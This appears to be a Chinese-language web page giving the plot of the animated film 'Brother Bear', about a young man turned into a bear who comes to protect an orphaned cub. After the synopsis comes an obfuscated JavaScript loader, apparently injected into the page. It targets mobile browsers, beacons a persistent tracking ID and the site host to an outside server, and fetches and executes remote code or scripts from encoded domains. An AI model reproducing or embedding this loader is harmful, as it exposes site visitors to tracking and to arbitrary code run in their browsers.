故事发生在远古时代的太平洋西北岸，当时那片土地还没有遭到白人的入侵，生活着勤劳善良的印第安人，他们在成人礼时将得到自己的图腾，并受其指引成为真正的男子汉。在一个印第安人的小村落里，住着父母早亡相依为命的三兄弟，他们在冰天雪地里靠打猎为生。三弟在举行成人礼时，竟得到象征爱的熊，令三弟肯尼惊诧万分。仪式结束，他们发现鱼篮被熊弄丢，三弟在与二哥争吵时负气决定找回鱼篮，在与熊搏斗时，大哥为了保护两个弟弟，不幸地牺牲了。失去大哥的两兄弟悲痛欲绝，充满仇恨的少年肯尼(杰昆·菲尼克斯配音)发誓要为大哥报仇熊的传说，不顾二哥的劝阻只身深入森林，发誓要把害死大哥的那只熊除掉。在一次激烈的搏斗之后，肯尼终于杀死了那只熊，但可怕的是，他的仇恨触怒了森林深处的神秘力量，因此被神秘的极光打中，幻化成熊。肯尼看着自己变成了熊的身体，怎么也说不出人话，嘴里只会像熊那样“嗷嗷”的叫，他感到了前所未有的恐惧。二哥德纳米(詹森·雷兹配音)发现弟弟肯尼不见后，四处寻找,希望阻止他。恰在此时，他遇见了弟弟肯尼变成的那只熊并误以为他也是被熊杀死了。于是，德纳米疯狂的挥舞着长矛追杀变成熊的肯尼。肯尼满腹委屈和无助，他唯有寻找传说中极光与大地接触之地才能复原，在路上他遇到一只孤苦无依的小熊柯达寻找他的妈妈（小熊的妈妈就是肯尼杀死的那只母熊）(杰瑞尼·舒瓦兹配音)，小熊认为妈妈会在鲑鱼潮等待他，并无意提到鲑鱼潮对面的山上极光每晚都与大地接触。所以肯尼既不情愿的与柯达这个“大嘴巴”一起前往鲑鱼潮。他们一路上渡过重重险阻，一开始肯尼很讨厌小熊跟着他，但后来却培养出如兄弟般的情谊。由人类变成熊的肯尼，如今为了生存，他必须站在动物的角度来看世界，对生命的真谛也有了一番前所未有的新体验……最终他们到了极光与大地接触之地，然而就在肯尼可以变回人的时候，他做出决定永远做熊，做小熊的哥哥。熊的传说粤语
function AEJPT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function jfRGna(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AEJPT(t);};window[''+'W'+'v'+'V'+'b'+'K'+'G'+'y'+'T'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function awsW(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=jfRGna,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=awsW(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=awsW(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhhLnZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5iaGVVhZS5jb20lM0E5NTM1','4680',window,document,['h','V']);}:function(){};